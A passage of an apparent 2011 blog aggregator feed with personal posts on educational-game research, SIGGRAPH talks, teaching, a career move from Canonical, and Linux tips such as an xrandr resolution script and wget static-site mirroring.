In the second phase the set of metrics mentioned in the third research question will be developed. Established games and games of our own design will be used to iterate on the metrics until a reasonable set can be settled on.

Finally, the third phase involves writing a tool that will both help enhance an author's creativity when writing stories for educational games and help ensure the story is consistent with the educational content. How it will look depends, of course, on the results of the first two phases, but I am imagining using some AI techniques to help check consistency and make story suggestions. There may also be an opportunity to use some graph analysis, for example to take advantage of connections between content topics present on sites like Wikipedia.

One of the coolest things that's happening with respect to this plan is hearing excitement from writers who want to be able to write better interactive stories for educational games. I'm thrilled to have people I can speak with directly to ensure that what I do ends up being useful, and I may even have some professional writing help when designing our own games for our experiments. Hopefully it'll be win-win for all of us!

Did reading this raise any red flags to you? Do you have any ideas or suggestions? Please leave a comment and let me know! The more feedback, the better.

Gail Carmichael: Ada Lovelace Day: Natalia

2011-10-07T18:42:45+00:00

I participate in Ada Lovelace Day every year by blogging about my tech heroines. This year, I had a really hard time deciding who to honour because there are so many worthy candidates! After some thought about what stage of life I'm at and what's happening today for her, I finally settled on Natalia Villanueva-Rosales.

Natalia just defended her computer science PhD thesis earlier today at Carleton. As far as I can tell by her Facebook status, it went well! I'm so proud of this accomplishment, not only because getting your PhD is totally awesome in itself, but because of the twists and turns in the journey she took to get there.

You see, in addition to a grad student, she's also now a mom. Her adorable little guy is now more than a year old, but getting him into this world sure wasn't easy. Her pregnancy was complicated, and to make sure her son could be born healthy and happy, she had to unexpectedly delay her studies for quite some time. It was a difficult decision that not everyone understood, but she knew what was important to her; the PhD would come later.

I admire this so much. It's hard for me to know what it took to put aside everything for your baby because I've been fortunate enough so have an easy pregnancy so far. But if that ever changes, or if (perhaps when) I find myself struggling to keep up with motherhood after my baby is born, I'll be able to look to Natalia and know that it's possible. I'll know that you can be a mom and get your PhD, too.

Thanks Natalia, and know we're all proud of you today!!

Gail Carmichael: Notes on 'Experiencing Stories with/in Digital Games' Colloquium

2011-10-03T14:08:36+00:00

You've probably heard it before: we've got a long way to go in finding artful ways to meld great storytelling with the traditional mechanics of digital games. Being a computer scientist, I usually see the attempts of improving the state of the art from the technical perspective, but this past weekend I got to learn more about what the humanities researchers in academia and the writers, artists, and designers from industry have been doing at the Experiencing Stories with/in Digital Games colloquium held in Montreal.

Screenshot from The Graveyard, one of the indie games discussed by panellists.

Saturday's events were open to the public and consisted of four panels, each focusing on a different game, followed by a keynote by David Cage, creator of Heavy Rain. On each panel, two academics presented their work surrounding analysis of the game from a range of perspectives, from utopias to infinitude to fear as the story. Then the academics and someone who worked on each game got a chance to discuss the work presented or the game in general, followed by audience Q&A.

Personally, I found the industry perspective the most interesting. This has to do, in part, by the style of the presentations made by the academics. Apparently the norm for this field is to read an elaborate prose (with no apparent pauses for a chance to digest) during a presentation. While the words they were speaking sounded like they would be a pleasure to read on my own, there was no way I could possibly keep up with the complexity as they read them aloud. It seem that computer scientists are not the only ones who don't understand that written and oral forms of communication are not at all the same thing.

In any case, I took live notes as best I could during the talks (please excuse any poor spelling and grammar!) and have made them available online for you to check out. Despite not immediately understanding a lot of what I heard during the day, I could tell there were some really interesting topics to think about further.

Read the live notes from Saturday's panel

David Cage's keynote was quite well done. He certainly missed the opportunity to discuss what was wrong with Heavy Rain and only focused on what he thought was good, but his overall introduction to the world of interactive storytelling was well crafted and enjoyable. Whether you agree with his philosophy or not, he did offer much to mull over.

On Sunday, a set of round table discussions were held so that students could discuss their work with feedback from the presenters of the previous day. After lunch, we all sat in a circle and had a general open discussion about storytelling in games. I found this part of the event to be incredibly valuable for both what I'm working on and for thinking about story in games in general. In particular I got some amazing feedback and new ideas about my taxonomy of techniques in non-linear fiction (which I'm now thinking of changing to a set of spectra on storytelling thanks to all the new ways I have to look at the topic).

Attending this event has really made me feel good about choosing story and educational games as my main research area, and I'm feeling really energized to dive into this field even deeper. And who knows... maybe I'll be able to play a small role in bringing us closer to that elusive goal of having great stories and great games be one and the same.

Gail Carmichael: Vulnerability in Teaching

2011-09-30T10:52:11+00:00

The status quo in university lecturing is comfortable. You capture what you know on a set of slides (often using many words - kind of a brain dump, really), and tell students that 'this is the way it is' during class. You normally don't have to open yourself up to potentially embarrassing situations where you realize you don't actually know some of the details you thought you did. This is especially useful the first time you teach a topic and/or when it's not your area of expertise.

But I'm just not into the status quo. Alas, I also felt a little embarrassed during my last class.

Buster is ashamed by Bklynraised

I filled in yesterday for the prof I'm TA'ing for. The class is a third year course on 3D computer graphics for the game development students. I decided to make my own slides and build up a really good understanding of how camera viewing worked by going from the canonical view volume to orthographic projection, and from arbitrary view points to transforming a perspective projection into an orthographic projection. This is the approach shown in Fundamentals of Computer Graphics by Peter Shirley, and as an added bonus, the author provides the book's diagrams for free on his website.

(If you're curious, you can check out the slides for my lecture in PowerPoint format - be sure to look at the notes section of the file since that's where the explanations are. I don't like putting lots of words up while I talk.)

The class was going well. I had a few places I wanted the students to try something out for themselves because it's all too easy to look at the numbers on the slide and just accept them as seeming reasonable. I know, because I do that all the time, either in talks or when reading. Even if they couldn't figure out what I was asking them to do, the act of trying would force them to really think about what I just showed them.

At one point, however, I asked them to do something that I hadn't had a chance to do myself. (I didn't find out what I would be lecturing on until fairly last minute and, unfortunately, made my slides the day of the class.) I had done exactly what I was trying to help them avoid: I took for granted what the book was saying and didn't realize that I never tried to understand the details. Not until a specific question came up, that is.

Although I readily admit when I don't know something, I did even more this time: I tried to logically figure it out in front of the class. Dangerous! Especially dangerous because I'm generally not that good at figuring stuff out in front of others. Well, as expected, that didn't go so well. So I said that for some reason my brain appears to be incapable to sorting this out at the moment, but if anyone in the class thought they could see it more clearly, they could try to explain.

A couple of students actually did! I really commend them because as I later confirmed, they were basically right. They are going to understand this topic so much deeper now than they would have if I had just shown them the answer and moved on rather than tried to understand it with them.

Granted, I probably wasted a bit more time on figuring this particular thing out than I should have, leaving some students bored. I suppose finding the right balance comes with experience. This was a small class, making it more reasonable to have spent some time on it, but I don't think it would have made sense to do it in, say, a huge auditorium.

In any case, I promised that I would post a clear explanation on the blog once I had a chance to think about it on my own. I followed through with a post within a couple of hours of class ending since, just as I expected, the answer was clear and obvious once I could think about it away from staring eyes. (Hopefully I got it right - if anyone notices any issues let me know!)

All in all, despite the fact that it was easy to feel embarrassed from my fumbling around, I conclude that it was worth it. Putting yourself out there is uncomfortable, but it generally means that you are going to give students a better learning experience.

Gail Carmichael: Research Snapshot for Fall 2011

2011-09-23T10:56:17+00:00

For those of you wondering what the heck I've been up to lately research-wise, wonder no longer! Here's a snapshot of what I've been working on lately and plan to work on before Christmas (when, as you may know, I will be going on maternity leave for a while).

Cognitive Advantages of Augmented Reality

This is something I've been working on for well over a year now. It started in a class I took extra to my degree called Computers and Cognition. For my term project, I looked at a couple of key cognitive theories and how they related to what I thought was so great about augmented reality. Since that class, the prof and my own supervisor have been expanding and refining that work into publishable form.

So far, we've run into some trouble getting our paper accepted to a conference. In our last attempt, we received quite good reviews, but still weren't accepted. Apparently the paper caused much discussion at the conference committee meeting, but in the end they decided that they needed to hold it to a higher standard since it was both new and more on the theoretical side of things. They (and the reviewers for our previous attempt) suggested a journal might be a better venue.

So that's where we are now. We are working on the latest rewrite and will hopefully submit it soon. You can follow the progress of this work on this page if you are so inclined.

Gram's House

I've written about this project a few times on this blog. Originally a project we submitted to Microsoft's Imagine Cup, it has evolved nicely into becoming an international collaboration between industry and academia.

At this point, I have a wonderful team of academics from the States who are on board with applying for a National Science Foundation grant in January to help fund the development and evaluation of this project. Filament Games is interested in professionally developing the game. There are several other academics and CS education community members who are interested in helping evaluate the game with their classes or outreach initiatives.

NSF grants are competitive, so I realize that we may not be successful in our first attempt. Nevertheless, I'm excited that, no matter how long it takes, Gram's House may become the full-fledged game I am dreaming of, allowing it to make a widespread impact in many girls' lives.

You can follow this project here (it has not yet been updated with the latest grant goings-on, but will be once things are more solidified).

Narrative and Educational Games

Finally, a newer thread of research has been related to narrative and interactive storytelling. In an effort to solidify a specific direction for my PhD thesis, I have chosen this thread as my main topic and started outlining a research plan.

Right now, I'm working on putting together a taxonomy of techniques in nonlinear fiction. There is a balance between categorizing approaches by their creative intentions and the technology behind them. In October I am leading a round table discussion on this work with the goal of looking at why games have used certain techniques but not others (is it because it's too difficult creatively or technically, or because we just need someone to try?).

During the rest of this term, I'll be delving into this taxonomy deeper and working on a paper for a game studies/design journal.

As for my thesis, I will be narrowing in on what the role of narrative is in educational games. Does story simply engage a game's learners, or is there something more going on there? What are the best ways to incorporate story effectively into an educational game? Can we create a tool that supports writers and designers in properly crafting stories for these sorts of games? Though I'm keeping it general for now, I'd like to ultimately focus on reality-based educational games (including augmented reality) and make use of the cognitive advantages research mentioned above.

The taxonomy work can be followed here, and future pages on my portfolio will be created as my journey continues.

Jon Phillips: Life is about relationships.

2011-09-21T11:49:11+00:00

Life is about relationships, increasing the quality of service to those relationships, and generating value to those people around you. If you have a successful growth cycle in the quality of a personal relationship, you continually rinse and repeat the process of improving the service provided to that person, and the relationship improves.

All relationships must grow, or they die. The goal of service to people is to understand some problem one person has, and then provide solutions to that problem. If the person with the problem accepts the solution, some capital is exchanged. This is called business. It is also called friendship.

I keep investing through dire situations until success. There is no fail fast. As long as I have breath, I will keep pushing through what I believe is right and trust my instincts.

Share to earn.

Sharism.

Gail Carmichael: Jane McGonigal: Reality is Broken

2011-09-21T10:30:47+00:00

Jane McGonigal thinks reality is broken. Why else would so many of us escape it to play hours and hours of video games? But among all the media hype about the bad things games supposedly to do us, have you ever considered that games might actually make us better? (I bet readers here are on board with that idea!)

I finally got the chance to read Jane's wonderfully written book Reality is Broken: Why games make us better and how they can change the world. The whole way through I felt excited and inspired. If you've seen Jane's TED Talk, you'll have seen a summary of the main ideas behind this book. However, the twenty minutes she has just doesn't do her ideas justice (it's easy to misunderstand the main point and pass it off as a bit kooky). The book is (obviously) able to explain everything in much more detail, and provides many supporting research results and in-depth examples.

The first part of the book sets up how games make us happy. Jane's take on the four defining traits of a game — goals, rules, feedback systems, and voluntary participation — show up throughout the rest of the book, as do the four intrinsic rewards available to us in games: satisfying work, the experience or hope of being successful, social connection, and meaning in the sense of becoming part of something bigger than ourselves.

Part two suggests that alternate reality games are a good way to use what we love about gaming to make our real lives better. All the themes from the first part are applied again and again here, seemingly to great effect if you look at the success of the games outlined in these chapters. Although it's not quite the same thing, my interest in augmented reality made this section particularly meaningful to me. The work I've been doing lately on the cognitive benefits of AR has some overlap with the ideas here.

Finally, in part three, things get epic. Jane talks about the kinds of things that gamers are well prepared for, like collaborating with huge numbers of people and voluntarily tackling seemingly impossible tasks. She points out that gamers can and do use these abilities to make a difference in the real world, often through reality-based gaming contexts. In a sense, this part is about gamification, but not in the badge-adding way that Ian Bogost often laments about. It's about truly making life more gameful to improve our own lives and the lives of everyone around us.

By the end of the book, I found myself wondering if Jane and James Paul Gee have had a chance to collaborate yet. The latter talks about how we can apply what is good in games to learning and education. I would love to see what these two could come up with together (perhaps along with Ian Bogost, whom Jane mentions is a good friend in the book).

In the meantime, I need to go check up on the Gameful website Jane set up and see how all the others in my areas of interest (education! augmented reality!) are doing. If you are into games for good, you should go sign up, too!

Gail Carmichael: The Hardest Thing I've Ever Done

2011-09-19T08:52:00+00:00

On our vacation to Canada's maritime provinces, my husband and I embarked on a four day journey which has since become known as The Hardest Thing We've Ever Done™. We hiked the Long Range Traverse in Gros Morne National Park, Newfoundland, complete with all our gear on our backs. There were no marked trails and the terrain was difficult. Many people thought we were crazy to do it, and that's before they realized I was pregnant!

But let's face it. If I was able to get through this, then getting my PhD shouldn't be so bad. I even learned a few tricks along the way to help me get past feeling my lowest.

The first day of the hike is by far the most gruelling. In the picture above, we are at the top of a gorge. In the far distance you can see water - that's the Western Brook Pond and where we started our journey. Getting up here takes a lot of persistence and strength, particularly near the end. The last upward bit takes you up the side of a waterfall where you basically have to climb rocks almost straight up. One wrong move and I'm pretty sure you'd be seriously injured as you fell backwards.

I was very tired in this last stretch, but I was able to find it in me to keep going. Perhaps it's because I knew I had to - it's not like I was going to walk back to the beginning (assuming I even could)! So I kept going. Slowly, granted, but never giving up. I even had a Radiohead song playing in my head over and over: "Try the best you can... the best you can is good enough..."

When we finally made it to the top, I wanted to collapse and cry. We sat down for a minute but then had to go find a decent water source. After deciding we were going to keep going to find a good campsite (we knew we wouldn't make it to the one we had intended to stay at), I looked back and saw the view everyone comes here for:

Despite utter exhaustion, I knew it would be worth snapping a quick photo before dragging myself away. I'm really glad I did.

I figure that just like getting out of the gorge, if I have to go a little slower to make it to the end of grad school, I've learned that not only is it ok, it's totally going to be worth it.

The rest of the trip was tough, but I never had a low point again. I knew if I could make it this far, I could do the rest as well. I may have also been a bit more mentally prepared for the difficulty of the journey than Andrew was - I think he found it more difficult than he expected. (Which isn't to say he did awesome - he could have finished even sooner if it wasn't for me slowing us down. But there were times he was getting pretty worried and I was able to keep our spirits up.)

Accepting the fact that the challenge will be great seems to be a really good way to set yourself up for success.

When we finally got back in the three nights we had hoped to do the hike in (though we were prepared for four just in case), we showered and then collapsed. The next morning, Andrew's parents, also visiting the area, presented us with these awesome t-shirts commemorating our accomplishment.

Whether it's a shirt, a degree, or just a really good story to tell, doing something difficult in your life makes it feel like you've really lived.

If you'd like to see the rest of our photos along with commentary, you can do so on this public Facebook album.

Kees Cook: 5 years with Canonical

2011-09-12T17:58:04+00:00

This month, I will have been with Canonical for 5 years. It’s been fantastic, but I’ve decided to move on. Next week, I’m going to start working for Google, helping out with ChromeOS, which I’m pretty excited about. I’m sad to be leaving Canonical, but I comfort myself by knowing that I’m not leaving Ubuntu or any other projects I’m involved in. I believe in Ubuntu, I use it everywhere, and I’m friends with so many of its people. And I’m still core-dev, so I’ll continue to break^Wsecure things as much as I can in Ubuntu, and continue working on getting similar stuff into Debian. :)

For nostalgic purposes, I dug up my first security update (sponsored by pitti), and my first Ubuntu Security Notice. I’m proud of Ubuntu’s strong security record and how far the security feature list has come. The Ubuntu Security Team is an awesome group of people, and I’m honored to have worked with them.

I’m looking forward to the new adventures, but I will miss the previous ones.

Gail Carmichael: Game Papers at SIGGRAPH 2011 (Part 2 of 2)

2011-09-09T17:12:52+00:00

A previous post talked about two game paper presentations I saw at SIGGRAPH 2011. Here is part two with a summary of the second two talks.

Evaluating gesture-based games with older adults on a large screen display

[ACM Digital Library]

The theme for this talk was the usability, acceptability, and applicability of gesture-based games among healthy older adults. The presenter said that some of the issues with previous work in the area of cognitive training, rehab and exergaming include small study samples, issues with control groups, and the fact that evaluations were done with existing games and systems. The authors' work presumably addresses one or more of these.

The presentation reported on results of experiments done with games the authors created specifically for this purpose using a large projection screen, infrared source and camera, and blob detection. Physical props are sometimes included as well. Three games were created: virtual soccer, mosquito invasion, and human Tetris. The subjects used to test these games were aged 55-75 and in good health.

The general results after testing the game with a series of questionnaires and practice / gameplay sessions are as follows:

users were tech-savvy and physically active
there was a particularly positive correlation between physical engagement and social interaction for all games
virtual soccer: strenuous and physically challenging
mosquito invasion: intuitive and practical
ranked highest: wanting to be mentally and physically challenging
ranked lowest: having a partner to play with or having hands-free interaction
everyone was highly competitive, but there was a varying degree of physicality
occlusion and usability issues were a concern

The main conclusions were that there is a need for more complex gameplay and a general need for both physical and cognitive engagement among this demographic.

My thoughts on this talk were that the games did seem a little too simple to be of much interest for long, as many research-based games tend to be. I understand wanting to control certain factors to answer specific questions, but I do wonder how much more beneficial it is to create these sorts of games instead of studying existing commercial games. I am happy to see that there is a focus on older adults though, and hope that they continue to improve games for this audience so they are more refined by the time I get to that age myself.

The Impact of Negative Game Reviews and User Comments on Player Experience

[ACM Digital Library][Direct PDF]

This presentation was, by far, my favourite of the conference. Granted, I actually didn't see as many talks as I could have, but honestly, most of what I saw was status quo at best (I'm pretty picky about presentation standards and am always trying to push people to take their abilities a step further).

The thing that this presenter did so well was remember the difference between oral and written communication, telling a story about his work that differed from the structure of a traditional paper. The slides had almost no text, and the graphs were highlighted in just the right way to emphasize the point being made at the time. Kudos to Ian Livingston!

Of course, in addition to being a good talk, it helps that the content was interesting. The main research question was whether someone's opinion of a game would be (sub-consciously) affected by a negative review they had read about the game. For instance, Duke Nukem Forever hasn't exactly scored very well among critics - would my enjoyment of the game be decreased if I knew that going in?

As it turns out, it probably would be!

The study conducted to prove this involved only the text (no scores) from several reviews of existing games that few people would have heard of. The texts that players read first were either positive or negative as determined by an emotional analysis tool, or unrelated to the game. Players then played the game and were asked to rate it with a score of 0-100. They were also asked to rate their mood on a scale of 1-5 to see if that affected the results at all.

The findings:

the tone of the review text does affect player experience
when negative review text related to the game, the perception of that game did change, whereas control text (unrelated to the game) had no effect, nor did the positive text
no significant difference between reviews and user comments, so no real difference in terms of the authority of the author
the differences in game enjoyment cannot be explained by differences in mood (the mood ratings had no effect)

While this research isn't really related to anything I'm working on, the results were interesting and the presentation made me happy. This will be the one I remember the longest.

Gail Carmichael: Techniques for Telling Nonlinear Stories

2011-09-05T16:22:01+00:00

At the beginning of October, I'll be participating in a digital narrative workshop for the GRAND NCE called 'Experiencing Stories with/in Digital Games.' The following abstract describes a round table talk I'll be giving as part of the student gathering:

Non-linear fiction ranges from the use of static plots with events presented in a non-chronological way to interactive story worlds where users make choices that affect the outcome of the story. A wide range of media can be used to implement works of non-linear fiction, including novels, film, storytelling engines, and games. In all of these cases, there are multiple techniques available for designing and telling a non-linear story.

We have compiled a taxonomy for these techniques with broad categories for strategies for explaining non-linearity, structuring stories as graphs, relying on emergent behaviour, creating character driven plots, and designing data-driven interactive worlds. Each of these categories breaks down further with classic examples from all types of media and with approaches reported on in academic literature. For instance, a strategy to explain a story’s non-linearity is to attribute it to time travel (The Legend of Zelda: Orcarina of Time) or to a hallucinating or brain-damaged character (Memento). Many examples use a simple branching structure to change the story based on player choices (Choose Your Own Adventure) while others rely on game data to adjust how other characters in the story react to you (Fallout 3).

In this talk, we will present our taxonomy and frame it in the context of story in games. We will discuss what techniques have been used in existing games, and which have not yet been employed. We will consider why games have not used certain techniques, and use this to suggest how they might do so in the future.

I'm currently hammering out a potential thesis research plan for myself, and this work will contribute toward that. I'm really enjoying this whole narrative thread I've embarked on this past summer.

Jon Phillips: 我是王力中。And, I live in Beijing.

2011-08-25T04:11:41+00:00

Jon Phillips王力中是Fabricatorz有限责任公司的发起人和开发人员。Fabricatorz是一个全球性的创意产业制作公司，主要致力于创新和商业项目，主要分支机构设在旧金山和北京，客户则包括谷歌、火狐浏览器（谋职网络）、知识共享Creative Commons、现代传播和F2画廊。2010年王力中和Bassel Safadi在新加坡创办了Aiki Lab品牌。Aiki Lab既是骇客空间又是文化中心，位于大马士革。Aiki Framework则是开源的网络软件。此外，Jon Phillips王力中还曾于2002年启动了开源的绘画工具Inkscape，以及于2004年成立了Open Clip Art Library。他曾在旧金山艺术学院教授设计与科技，也于2005至2008年为知识共享Creative Commons建立社群并任商业发展策略专员，并任Status.Net (Identi.ca)的社群总监。2009年他将工作重心转移至中国，与Wolfgang Spraul一起建立了开源的硬件产品Qi气硬件，与艺术家Matt Hope一起建立了LaoBan老板牌音响系统，与Isaac Mao毛向辉和李昕Christopher Adams一起共同运营”分享主义Sharism“项目。

Jon Phillips: Tip: Fix Resolution on AOC2216Vw on Linux

2011-08-19T04:34:25+00:00

Yes, that’s right, sometimes things aren’t that easy when you use an operating system that has an unspoken goal of being a virtualized software interface to ALL HARDWARE. This is part of the reason why Linux long term will be used for stability on servers, but will be rotated out on embedded devices that compete in terms of optimization and not needing the same insane goal of supporting hardware all the way back to hardware that worked in 70s and 80s.

Anyway, I stop now, if you have a problem with a monitor like the 23″ AOC2216Vw, you can create a script like this one I called, fixaoclcd:

#!/bin/sh
#
# Fixes the mode on AOC 2216Vw Monitor. Only tested fedora 15x86_64
#

MODEATTEMPT="1680 1050 60"
if [ ! -z "$1" ]; then
    MODEATTEMPT="$1"
fi

OUTPUT=VGA1
if [ ! -z "$2" ]; then
    OUTPUT="$2"
fi

GETMODE=`gtf ${MODEATTEMPT} | grep 'Modeline' | sed 's/^  Modeline //'`

MODE=`echo ${GETMODE} | sed 's/^"\(.*\)".*/\1/'`

xrandr --newmode ${GETMODE}
xrandr --addmode ${OUTPUT} \""${MODE}"\"
xrandr --output ${OUTPUT} --mode \""${MODE}"\"

exit 0

Actually on the script above, you can pass a desired modeline and the output you want to change, and this will work for more than just an AOC monitor. I love bash.

I guess I should figure out how to add this modeline to Xorg. How can that be done?

# 1680x1080 @ 60.00 Hz (GTF) hsync: 67.08 kHz; pclk: 151.33 MHz
  Modeline "1680x1080_60.00"  151.33  1680 1784 1968 2256  1080 1081 1084 1118  -HSync +Vsync

Gail Carmichael: Impressions of SIGGRAPH 2011

2011-08-16T15:43:23+00:00

Last week I was in Vancouver for this year's SIGGRAPH conference - not presenting, but as a lab trip. As the website says, the "conference and exhibition is a five-day interdisciplinary educational experience including a three-day commercial exhibition that attracts hundreds of exhibitors from around the world. SIGGRAPH is widely recognized as the most prestigious forum for the publication of computer graphics research." These are some of general impressions of my first SIGGRAPH experience.

Fellow lab member Jamie and I outside the convention center.

Location. Being able to stay in Canada was nice for us (especially since we could use our cell phones and data plans). Getting from the airport to downtown was a matter of taking one train for just half an hour - very convenient!

The convention center was split into two buildings - east and west - but it was no
problem getting between them for what I wanted to do.

Venue. I thought the convention center was amazing. The rooms were well equipped, the decor was appropriate, there were plenty of washrooms and water fountains, and the views of the water were wonderful.

Exhibition. I wasn't a huge fan of the exhibition as I personally found it overwhelming and overly commercial; however, for those that like seeing all the newest products and services, and don't mind the scale, it was probably quite good. It was obvious that much money was spent on the booths there.

SCVNGR. The Google booth at the exhibition advertised a SCVNGR opportunity to get some Google swag. I figured it might include actually looking more carefully at some of the other booths there, but that definitely wasn't the case. In the end I found it to be unclear (I could only win one prize even though there were two rewards listed in the app for SIGGRAPH), and mostly disconnected from the actual location (some of the challenges were just math puzzles). It didn't enhance my experience at all.

Animation Festival. One day when I was too tired to take in any more talks, I spent the afternoon watching animated shorts. I enjoyed this way more than I anticipated! The quality was spectacular and there was much variety in the animation styles and the stories.

Courses. I took in a couple of courses throughout the week. I was a little surprised by how little they resembled actual courses. Instead, they were pretty much a series of lectures on a particular topic. Huge audiences, no interaction, and not much practicality (though this may have just been what the ones I attended were like). I still learned a few things, but feel like I could have learned a lot more if the format was closer to a workshop.

Technical paper presentations. I actually didn't end up seeing a huge number of paper talks since I figured I could read papers later more easily. The presentations I did see were like most that occur at conferences: not very good. The expected standard of talks involve text on PowerPoint slides and presenters who forget that oral communication is a very different thing from written communication. There was one great presentation that I saw, but I will save writing about that for when I do another post about the game papers.

Emerging Technologies. This was one of my favorite parts of the conference. There were so many interesting or just plain fun exhibits. I particularly enjoyed the pregnancy simulator vest that gave the wearer an idea of what a kicking baby and a growing belly and breasts would feel like. Being that I'm almost five months pregnant myself, I wish my husband could have tried this out. ;)

While the pregnancy simulator suit grows, you see information on the screen that
explains baby's current status each week of the pregnancy.

Art Gallery. This was with the Emerging Technologies. Some of it was pretty neat, but some of it I didn't really "get." Art can be like that. I was most taken by the remote wind exhibit. The idea was interesting and the result was relaxing to watch.

These wispy grass-like metal structures moved according to how the wind blows in some remote location.

Overall, I liked SIGGRAPH. I was regretting going at first because we had to leave for our big east coast vacation only 30 hours after I got home from Vancouver, but I'm glad I got to experience it. Whether I end up back again to present one day or not, it was well worth experiencing this conference at least once.

Ted Gould: Calendar to Phone

2011-08-15T19:14:00+00:00

I've got an Android phone and I really wanted to get the calendars syncing with my desktop (Ubuntu). I tried the Android recommended Google Calendar, and it didn't really work for a variety of reasons. Off to try a new solution.

What I ended up doing is using Ubuntu One (U1) to sync the iCal files that Evolution Data Server (EDS) uses as its backend to the cloud. And then I published those files using U1's publish feature. Then I brought those back into my phone using ICSSync. Let's go through that step by step so you can get it set up too.

To get your EDS calendars are in your home directory under ~/.local/share/evolution/calendar so to get U1 to start syncing them to the cloud you need to execute this command u1sdtool --create-folder=/.local/share/evolution/calendar. U1 should start sync'ing that folder, and it should show up on the U1 website here.

You should there have a variety of folders that are your individual calendars. If you can then publish the calendar.ics file that is in each of these folders by clicking on the "More" button the right. You can enter the URL of the published file into ICSSync's "Add feed" dialog.

There are some downsides to this approach, specifically the answer to the U1 question "Are published files private?" But it is working well for me. Hope it works for you too!

Comments: Identi.ca | Twitter

Jon Phillips: Being a Beijing Being

2011-08-15T16:04:37+00:00

I’m back in Beijing! And, I’m doing a lot of the above plotting about next Fabricatorz steps, working hard, and moving many projects forward.

Lots of meetings to be had, and many best friends here to work with.

An aside, I spent the weekend updating project documentation since February 2009. Update bio, full cv, and a monospaced resume are available for consumption.

Niko Kiirala: Drawing for Assembly 2011

2011-08-06T17:15:55+00:00

I created this image on Inkscape for the Fast Graphics competition at Assembly 2011. The theme for this year was Last minute and there was one and half hours time to make the image, from when the theme was published to submission deadline. Sadly, this didn't make it past jury and thus wasn't show on big screen.

Not the best of my drawings, I admit. In 2009 I did manage to get my drawing on big screen. That time the theme was "Over the edge" or something like that and time limit again 1½ hours. Here's the result, drawn in Inkscape.

The SVG source files are available at my GitHub reposistory.

Gail Carmichael: Our First Ultrasound (Technology is Awesome!)

2011-08-05T10:54:34+00:00

I got my first ultrasound on Wednesday. Baby was 20 weeks old. I think the grandparents-to-be were more excited about the baby itself; we just might have been more enthralled with the technology that allowed us to see it.

Still images don't really do these machines justice. They look a lot less clear than the moving images shown on the screen in real time. It was fun to watch a very active little baby do everything from yawn, kick and punch, and put its hand on its forehead.

It was almost just as fun to watch the technician do her thing; it was amazing how proficient she was at switching views, making measurements, and replaying the cute things baby did right after they happened (we watched the yawn a few times before moving on, for example).

I have to wonder exactly what has changed in the last few decades to make the technology so much more impressive. Is it a case of better engineering, and signals the machines send and receive are simply more accurate? Or is there some computer science going on to correct the images as they are formed?

Either way, it's thanks to this super awesome technology that we now have our very first picture of baby giving us the finger. Granted, this one's not all that high quality, but the zoomed in arm and hand make a memory we'll love having for years to come.

Jon Phillips: Make Static: Archiving, Accelerating and Securing Websites, or Converting Dynamic Sites to Static Pages

2011-07-30T09:42:58+00:00

[ Ok, don't compress images that much...you get the point, right? ]

Its silly to keep a content management system running if its not being used and there instances where clients want a purely statically generated website for SEO and to calm security-paranoid nerves. I started thinking about this more and have been reading a few links. It brought me back to the days of using the old BLD software that Brian McKeever wrote and I ported to work on Linux. I then started journeying down the path of picking static file generator softwares, but honestly its silly IMO to learn yet another markup language, when Fabricatorz are promoting our platform Aiki Framework. In fact, with running a simple wget command, one could build an entire site in a dynamic content management system or framework, and then simply use wget to generate static files to be served.

There are some considerations though before you do this such as:

turning off login/registration systems
turn off commenting systems
making sure that you are not locking yourself out of your house, so to speak, with a robots.txt blocking bots, and the ethical software, wget, which has respect for robots.txt built into it by default.

So, after you fix these up on your dynamic site, this example is the best for converting a site I’ve found:

wget -r -p -k -E -nH -P /srv/www/dev.cantocore.com/public/test cantocore.com

Here it is laid out:

wget -r -p -k -E -nH -P LOCAL_PATH_TO_SAVE_TO SITE_TO_CONVERT

This makes a fully static copy of the cantocore.com site to dev.cantocore.com!

Then, I had to make this addition to .htaccess to make sure that some urls were good for SEO blah:

RewriteEngine On
RewriteRule ^(.*)\.1\.html$ $1

That should do you pretty good! Let me know if there are any comments on this!

I learned this from mossiso, stackoverflow question, Matt Wynne, and idlewords.com.

The improvements I see that could be made include the htaccess rules and possibly even a way to compress the pages even further with html tidy or some whitespace stripping commands. What programs from the commandline could be useful to further make this a nice option for both archiving and serving fast static pages?

Jon Phillips: I changed my Chinese name to 王力中.

2011-07-29T09:50:02+00:00

I just made sense. Put a Z on that!

Gail Carmichael: A Techie's Vacation

2011-07-27T17:36:15+00:00

My husband and I are taking a 3+ week vacation to the east coast of Canada this August, and because we're both computer geeks, there's no doubt we'll be lugging a bunch of techie stuff with us. How much is too much?

iPhone 4 capture by angietorres

First there's the cell phones. We'll bring both, even though mine's the only smart phone. His can act as an emergency backup or it can be used to call each other if needed. Sadly, while we are in Newfoundland, neither will work because they have an incompatible network there.

But not to worry - we will bring at least one of our laptops, and can use the call-a-phone feature in GMail if we need to. Should we bring both laptops? I'm thinking we should because I'll be using mine to process and upload photos (I'll want a mouse for that!) as well as check up on school / professional happenings. I'm sure he'll appreciate the ability to check his own email and browse Reddit after a long day of sightseeing while I do that.

Then there's the camera gear. We have a Nikon D90 that we just love, and four lenses to go with it. Add to that the charger, extra battery, remote, memory cards, battery grip, flashes, and tripod and this stuff might just need its own suitcase! Plus, I just got a new underwater point-and-shoot camera for activities that aren't so DSLR friendly (particularly backpack hiking/camping).

But we can't stop there. No no, I also have on my list my Nintendo DS for lazy day anywhere gaming opportunities, and an FM transmitter for the iPhone (stupid car stereo that doesn't have even an auxiliary jack...argh!). Oh yes, and a car GPS since my data plan is useless in Newfoundland and possibly other more remote areas and an orienteering GPS for the backpacking excursion.

You know how some people use their vacation as a way to get away from technology? Yeah, I guess that's not us. Just don't tip off any would-be thieves about the whereabouts of our car, if you don't mind.

Gail Carmichael: Women and Going Beyond the Game

2011-07-27T11:10:09+00:00

While it seems to me that many more women are playing traditionally "male" video games these days, there is also a group of women who go beyond the game in ways that, according to James Paul Gee and Elizabeth Hayes, are important to 21st century learning. An in depth look at this phenomenon and what we can learn from it is described in Women and Gaming: The Sims and 21st Century Learning.

Although not Gee's strongest work in my opinion (I'm not familiar with Hayes), this book does provoke some interesting thought on the state of education today. I must admit, I rather enjoy reading about what's wrong with how education is done today and potential ways to improve it. Here are some of the problems with "too many schools" as quoted directly from the summary chapter:

Too many of our schools:
focus on information and facts in an age when these are all cheaply available on the Internet
focus on standardized skills in an age where people with only standardized will be competing against lower-cost competition in China and India
focus on what students know in an age where skills, information, and technologies quickly go out of date
focus on preparing students for jobs in an age where most jobs are service jobs and do not pay well or bring people much status
focus on individual achievement in an age where almost all real problems, and most high-tech workplaces, demand skills in team work and collaboration
